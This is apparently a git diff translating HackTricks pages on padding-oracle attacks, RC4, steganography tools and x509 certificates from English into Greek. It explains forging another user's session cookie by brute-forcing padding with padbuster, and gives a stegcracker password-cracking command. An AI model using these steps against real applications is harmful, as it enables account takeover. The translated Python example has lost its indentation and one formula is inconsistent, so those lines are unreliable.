καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15` οπότε χρειάζεται απλώς να βρείτε το **`E'14`** που παράγει ένα **`C14` ίσο με `0x02`**.\ +Στη συνέχεια, κάντε τα ίδια βήματα για να αποκρυπτογραφήσετε το C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**Ακολουθήστε αυτή την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.** -### Detection of the vulnerability +### Ανίχνευση της ευπάθειας -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Εγγραφείτε και συνδεθείτε με αυτόν τον λογαριασμό.\ +Αν συνδεθείτε πολλές φορές και πάντα λαμβάνετε το ίδιο cookie, πιθανότατα υπάρχει κάτι λάθος στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Αν το cookie είναι πάντα το ίδιο, πιθανότατα θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Τώρα, αν προσπαθήσετε να τροποποιήσετε το cookie, μπορείτε να δείτε ότι λαμβάνετε ένα σφάλμα από την εφαρμογή.\ +Αλλά αν κάνετε BF το padding (χρησιμοποιώντας το padbuster για παράδειγμα) καταφέρετε να αποκτήσετε ένα άλλο cookie έγκυρο για διαφορετικό χρήστη. Αυτό το σενάριο είναι πολύ πιθανό να είναι ευάλωτο στο padbuster. -### References +### Αναφορές - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index dc89fa296..b0b8d61e5 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +Αν μπορείτε με κάποιο τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης. -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/crypto-and-stego/stego-tricks.md b/src/crypto-and-stego/stego-tricks.md index 91ed86406..7662d6de6 100644 --- a/src/crypto-and-stego/stego-tricks.md +++ b/src/crypto-and-stego/stego-tricks.md @@ -2,50 +2,41 @@ {{#include ../banners/hacktricks-training.md}} -## **Extracting Data from Files** +## **Εξαγωγή Δεδομένων από Αρχεία** ### **Binwalk** -A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk). - +Ένα εργαλείο για την αναζήτηση δυαδικών αρχείων για ενσωματωμένα κρυφά αρχεία και δεδομένα. Εγκαθίσταται μέσω του `apt` και η πηγή του είναι διαθέσιμη στο [GitHub](https://github.com/ReFirmLabs/binwalk). ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` - ### **Foremost** -Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost). - +Ανακτά αρχεία με βάση τις κεφαλίδες και τις υποσέλιδές τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω του `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost). ```bash foremost -i file # Extracts data ``` - ### **Exiftool** -Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). - +Βοηθά στην προβολή μεταδεδομένων αρχείων, διαθέσιμο [εδώ](https://www.sno.phy.queensu.ca/~phil/exiftool/). ```bash exiftool file # Shows the metadata ``` - ### **Exiv2** -Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/). - +Παρόμοιο με το exiftool, για προβολή μεταδεδομένων. Εγκαθίσταται μέσω `apt`, πηγή στο [GitHub](https://github.com/Exiv2/exiv2), και έχει μια [επίσημη ιστοσελίδα](http://www.exiv2.org/). ```bash exiv2 file # Shows the metadata ``` +### **Αρχείο** -### **File** +Καθορίστε τον τύπο του αρχείου με το οποίο ασχολείστε. -Identify the type of file you're dealing with. - -### **Strings** - -Extracts readable strings from files, using various encoding settings to filter the output. +### **Συμβολοσειρές** +Εξάγει αναγνώσιμες συμβολοσειρές από αρχεία, χρησιμοποιώντας διάφορες ρυθμίσεις κωδικοποίησης για να φιλτράρει την έξοδο. ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` +### **Σύγκριση (cmp)** -### **Comparison (cmp)** - -Useful for comparing a modified file with its original version found online. - +Χρήσιμο για τη σύγκριση ενός τροποποιημένου αρχείου με την αρχική του έκδοση που βρέθηκε online. ```bash cmp original.jpg stego.jpg -b -l ``` +## **Εξαγωγή Κρυφών Δεδομένων σε Κείμενο** -## **Extracting Hidden Data in Text** +### **Κρυφά Δεδομένα σε Κενά** -### **Hidden Data in Spaces** +Αόρατοι χαρακτήρες σε φαινομενικά κενά μπορεί να κρύβουν πληροφορίες. Για να εξαγάγετε αυτά τα δεδομένα, επισκεφθείτε [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). -Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). +## **Εξαγωγή Δεδομένων από Εικόνες** -## **Extracting Data from Images** - -### **Identifying Image Details with GraphicMagick** - -[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image: +### **Αναγνώριση Λεπτομερειών Εικόνας με το GraphicMagick** +[GraphicMagick](https://imagemagick.org/script/download.php) χρησιμοποιείται για να προσδιορίσει τους τύπους αρχείων εικόνας και να εντοπίσει πιθανή διαφθορά. Εκτελέστε την παρακάτω εντολή για να ελέγξετε μια εικόνα: ```bash ./magick identify -verbose stego.jpg ``` - -To attempt repair on a damaged image, adding a metadata comment might help: - +Για να προσπαθήσετε να επισκευάσετε μια κατεστραμμένη εικόνα, η προσθήκη ενός σχολίου μεταδεδομένων μπορεί να βοηθήσει: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` +### **Steghide για Απόκρυψη Δεδομένων** -### **Steghide for Data Concealment** +Το Steghide διευκολύνει την απόκρυψη δεδομένων μέσα σε `JPEG, BMP, WAV, και AU` αρχεία, ικανό να ενσωματώνει και να εξάγει κρυπτογραφημένα δεδομένα. Η εγκατάσταση είναι απλή χρησιμοποιώντας `apt`, και ο [κώδικας πηγής είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide). -Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide). +**Εντολές:** -**Commands:** +- `steghide info file` αποκαλύπτει αν ένα αρχείο περιέχει κρυφά δεδομένα. +- `steghide extract -sf file [--passphrase password]` εξάγει τα κρυφά δεδομένα, ο κωδικός πρόσβασης είναι προαιρετικός. -- `steghide info file` reveals if a file contains hidden data. -- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional. +Για εξαγωγή μέσω διαδικτύου, επισκεφθείτε [αυτή την ιστοσελίδα](https://futureboy.us/stegano/decinput.html). -For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html). - -**Bruteforce Attack with Stegcracker:** - -- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows: +**Επίθεση Bruteforce με Stegcracker:** +- Για να προσπαθήσετε να σπάσετε τον κωδικό πρόσβασης στο Steghide, χρησιμοποιήστε [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής: ```bash stegcracker [] ``` +### **zsteg για αρχεία PNG και BMP** -### **zsteg for PNG and BMP Files** +zsteg ειδικεύεται στην αποκάλυψη κρυφών δεδομένων σε αρχεία PNG και BMP. Η εγκατάσταση γίνεται μέσω `gem install zsteg`, με την [πηγή του στο GitHub](https://github.com/zed-0xff/zsteg). -zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg). +**Εντολές:** -**Commands:** +- `zsteg -a file` εφαρμόζει όλες τις μεθόδους ανίχνευσης σε ένα αρχείο. +- `zsteg -E file` καθορίζει ένα payload για εξαγωγή δεδομένων. -- `zsteg -a file` applies all detection methods on a file. -- `zsteg -E file` specifies a payload for data extraction. +### **StegoVeritas και Stegsolve** -### **StegoVeritas and Stegsolve** +**stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει LSB brute forcing μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους. -**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks. +**Stegsolve** εφαρμόζει διάφορα φίλτρα χρώματος για να αποκαλύψει κρυφά κείμενα ή μηνύματα μέσα σε εικόνες. Είναι διαθέσιμο στο [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). -**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). +### **FFT για ανίχνευση κρυφού περιεχομένου** -### **FFT for Hidden Content Detection** - -Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include: +Οι τεχνικές Fast Fourier Transform (FFT) μπορούν να αποκαλύψουν κρυφό περιεχόμενο σε εικόνες. Χρήσιμοι πόροι περιλαμβάνουν: - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic) +- [FFTStegPic στο GitHub](https://github.com/0xcomposure/FFTStegPic) -### **Stegpy for Audio and Image Files** +### **Stegpy για αρχεία ήχου και εικόνας** -Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy). +Stegpy επιτρέπει την ενσωμάτωση πληροφοριών σε αρχεία εικόνας και ήχου, υποστηρίζοντας μορφές όπως PNG, BMP, GIF, WebP και WAV. Είναι διαθέσιμο στο [GitHub](https://github.com/dhsdshdhk/stegpy). -### **Pngcheck for PNG File Analysis** - -To analyze PNG files or to validate their authenticity, use: +### **Pngcheck για ανάλυση αρχείων PNG** +Για να αναλύσετε αρχεία PNG ή να επιβεβαιώσετε την αυθεντικότητά τους, χρησιμοποιήστε: ```bash apt-get install pngcheck pngcheck stego.png ``` +### **Επιπλέον Εργαλεία για Ανάλυση Εικόνας** -### **Additional Tools for Image Analysis** - -For further exploration, consider visiting: +Για περαιτέρω εξερεύνηση, σκεφτείτε να επισκεφθείτε: - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -153,66 +133,60 @@ For further exploration, consider visiting: - [OpenStego](https://www.openstego.com/) - [DIIT](https://diit.sourceforge.net/) -## **Extracting Data from Audios** +## **Εξαγωγή Δεδομένων από Ήχους** -**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content. +**Audio steganography** προσφέρει μια μοναδική μέθοδο για την απόκρυψη πληροφοριών μέσα σε αρχεία ήχου. Διάφορα εργαλεία χρησιμοποιούνται για την ενσωμάτωση ή την ανάκτηση κρυφού περιεχομένου. ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide). +Steghide είναι ένα ευέλικτο εργαλείο σχεδιασμένο για την απόκρυψη δεδομένων σε αρχεία JPEG, BMP, WAV και AU. Λεπτομερείς οδηγίες παρέχονται στην [τεκμηρίωση stego tricks](stego-tricks.md#steghide). ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). +Αυτό το εργαλείο είναι συμβατό με μια ποικιλία μορφών, συμπεριλαμβανομένων των PNG, BMP, GIF, WebP και WAV. Για περισσότερες πληροφορίες, ανατρέξτε στην [ενότητα Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). ### **ffmpeg** -ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies. - +ffmpeg είναι κρίσιμο για την αξιολόγηση της ακεραιότητας των αρχείων ήχου, επισημαίνοντας λεπτομερείς πληροφορίες και εντοπίζοντας τυχόν ανωμαλίες. ```bash ffmpeg -v info -i stego.mp3 -f null - ``` - ### **WavSteg (WAV)** -WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include: - +Το WavSteg διακρίνεται στην απόκρυψη και εξαγωγή δεδομένων μέσα σε αρχεία WAV χρησιμοποιώντας τη στρατηγική του λιγότερο σημαντικού bit. Είναι διαθέσιμο στο [GitHub](https://github.com/ragibson/Steganography#WavSteg). Οι εντολές περιλαμβάνουν: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` - ### **Deepsound** -Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx). +Το Deepsound επιτρέπει την κρυπτογράφηση και ανίχνευση πληροφοριών μέσα σε αρχεία ήχου χρησιμοποιώντας AES-256. Μπορεί να κατέβει από [την επίσημη σελίδα](http://jpinsoft.net/deepsound/download.aspx). ### **Sonic Visualizer** -An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more. +Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν ανιχνεύονται με άλλες μεθόδους. Επισκεφθείτε την [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερα. ### **DTMF Tones - Dial Tones** -Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html). +Η ανίχνευση τόνων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω διαδικτυακών εργαλείων όπως [αυτός ο ανιχνευτής DTMF](https://unframework.github.io/dtmf-detect/) και [DialABC](http://dialabc.com/sound/detect/index.html). ## **Other Techniques** ### **Binary Length SQRT - QR Code** -Binary data that squares to a whole number might represent a QR code. Use this snippet to check: - +Δυαδικά δεδομένα που τετραγωνίζονται σε ακέραιο αριθμό μπορεί να αντιπροσωπεύουν έναν κωδικό QR. Χρησιμοποιήστε αυτό το απόσπασμα για να ελέγξετε: ```python import math math.sqrt(2500) #50 ``` +Για τη μετατροπή δυαδικών σε εικόνα, ελέγξτε το [dcode](https://www.dcode.fr/binary-image). Για να διαβάσετε QR codes, χρησιμοποιήστε [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). -For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). +### **Μετάφραση Μπράιγ** -### **Braille Translation** +Για τη μετάφραση Μπράιγ, ο [Branah Braille Translator](https://www.branah.com/braille-translator) είναι μια εξαιρετική πηγή. -For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. - -## **References** +## **Αναφορές** - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md index 622b48c61..c34c33a03 100644 --- a/src/cryptography/certificates.md +++ b/src/cryptography/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# Πιστοποιητικά {{#include ../banners/hacktricks-training.md}} -
+## Τι είναι ένα Πιστοποιητικό -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Ένα **δημόσιο κλειδί πιστοποιητικό** είναι μια ψηφιακή ταυτότητα που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του κατόχου (το υποκείμενο) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (τον εκδότη). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον κάτοχο του κλειδιού. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) σε μια [υποδομή δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Μια άλλη μέθοδος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web_of_trust), όπου οι χρήστες επαληθεύουν άμεσα τα κλειδιά ο ένας του άλλου. Η κοινή μορφή για τα πιστοποιητικά είναι [X.509](https://en.wikipedia.org/wiki/X.509), η οποία μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες όπως περιγράφεται στο RFC 5280. -## What is a Certificate +## x509 Κοινά Πεδία -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **Κοινά Πεδία σε Πιστοποιητικά x509** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +Στα πιστοποιητικά x509, αρκετά **πεδία** παίζουν κρίσιμους ρόλους στην εξασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Ακολουθεί μια ανάλυση αυτών των πεδίων: -## x509 Common Fields +- **Αριθμός Έκδοσης** σηματοδοτεί την έκδοση της μορφής x509. +- **Αριθμός Σειράς** προσδιορίζει μοναδικά το πιστοποιητικό μέσα στο σύστημα μιας Αρχής Πιστοποίησης (CA), κυρίως για παρακολούθηση ανάκλησης. +- Το **Υποκείμενο** πεδίο αντιπροσωπεύει τον κάτοχο του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή ένας οργανισμός. Περιλαμβάνει λεπτομερή ταυτοποίηση όπως: +- **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό. +- **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργάνωση (O)**, και **Οργανωτική Μονάδα (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες. +- **Διακεκριμένο Όνομα (DN)** περιλαμβάνει την πλήρη ταυτοποίηση του υποκειμένου. +- **Εκδότης** αναφέρει ποιος επαλήθευσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία όπως το Υποκείμενο για την CA. +- **Περίοδος Ικανότητας** σημειώνεται από τα χρονικά σήματα **Όχι Πριν** και **Όχι Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία. +- Η ενότητα **Δημόσιο Κλειδί**, κρίσιμη για την ασφάλεια του πιστοποιητικού, προσδιορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού. +- Οι **επέκταση x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, προσδιορίζοντας **Χρήση Κλειδιού**, **Εκτεταμένη Χρήση Κλειδιού**, **Εναλλακτικό Όνομα Υποκειμένου**, και άλλες ιδιότητες για την ακριβή ρύθμιση της εφαρμογής του πιστοποιητικού. -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **Χρήση Κλειδιού και Επεκτάσεις** +- **Χρήση Κλειδιού** προσδιορίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως ψηφιακή υπογραφή ή κρυπτογράφηση κλειδιού. +- **Εκτεταμένη Χρήση Κλειδιού** περιορίζει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ., για πιστοποίηση διακομιστή TLS. +- **Εναλλακτικό Όνομα Υποκειμένου** και **Βασικός Περιορισμός** καθορίζουν πρόσθετα ονόματα κεντρικών υπολογιστών που καλύπτονται από το πιστοποιητικό και αν είναι πιστοποιητικό CA ή τελικού φορέα, αντίστοιχα. +- Αναγνωριστικά όπως **Αναγνωριστικό Κλειδιού Υποκειμένου** και **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν μοναδικότητα και ιχνηλασιμότητα των κλειδιών. +- **Πρόσβαση Πληροφοριών Αρχής** και **Σημεία Διανομής CRL** παρέχουν διαδρομές για την επαλήθευση της εκδούσας CA και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού. +- **CT Προπιστοποιητικά SCTs** προσφέρουν διαφάνεια, κρίσιμη για τη δημόσια εμπιστοσύνη στο πιστοποιητικό. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,133 +54,104 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **Διαφορά μεταξύ OCSP και CRL Distribution Points** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν απαντητή που συνεργάζονται για να ελέγξουν αν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς να χρειάζεται να κατεβάσουν ολόκληρη την **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από την παραδοσιακή **CRL**, η οποία παρέχει μια λίστα με τους αριθμούς σειράς των ανακληθέντων πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Οι CRLs μπορούν να περιλαμβάνουν έως και 512 καταχωρίσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **Τι είναι η Διαφάνεια Πιστοποιητικών** -### **What is Certificate Transparency** +Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση των απειλών που σχετίζονται με πιστοποιητικά, διασφαλίζοντας ότι η έκδοση και η ύπαρξη SSL πιστοποιητικών είναι ορατές στους ιδιοκτήτες τομέων, τις CA και τους χρήστες. Οι στόχοι της είναι: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- Να αποτρέψει τις CA από το να εκδίδουν SSL πιστοποιητικά για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα. +- Να καθιερώσει ένα ανοιχτό σύστημα ελέγχου για την παρακολούθηση πιστοποιητικών που εκδόθηκαν κατά λάθος ή κακόβουλα. +- Να προστατεύσει τους χρήστες από δόλια πιστοποιητικά. -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **Καταγραφές Πιστοποιητικών** -#### **Certificate Logs** +Οι καταγραφές πιστοποιητικών είναι δημόσια ελεγχόμενα, μόνο προσθετικά αρχεία πιστοποιητικών, που διατηρούνται από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για σκοπούς ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τα ελέγξουν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότερος από χίλια παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από τις CA, ISPs ή οποιαδήποτε ενδιαφερόμενη οντότητα. -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **Ερώτημα** -#### **Query** +Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιονδήποτε τομέα, επισκεφθείτε [https://crt.sh/](https://crt.sh). -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +Διαφορετικές μορφές υπάρχουν για την αποθήκευση πιστοποιητικών, καθεμία με τις δικές της περιπτώσεις χρήσης και συμβατότητα. Αυτή η σύνοψη καλύπτει τις κύριες μορφές και παρέχει καθοδήγηση για τη μετατροπή μεταξύ τους. -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides 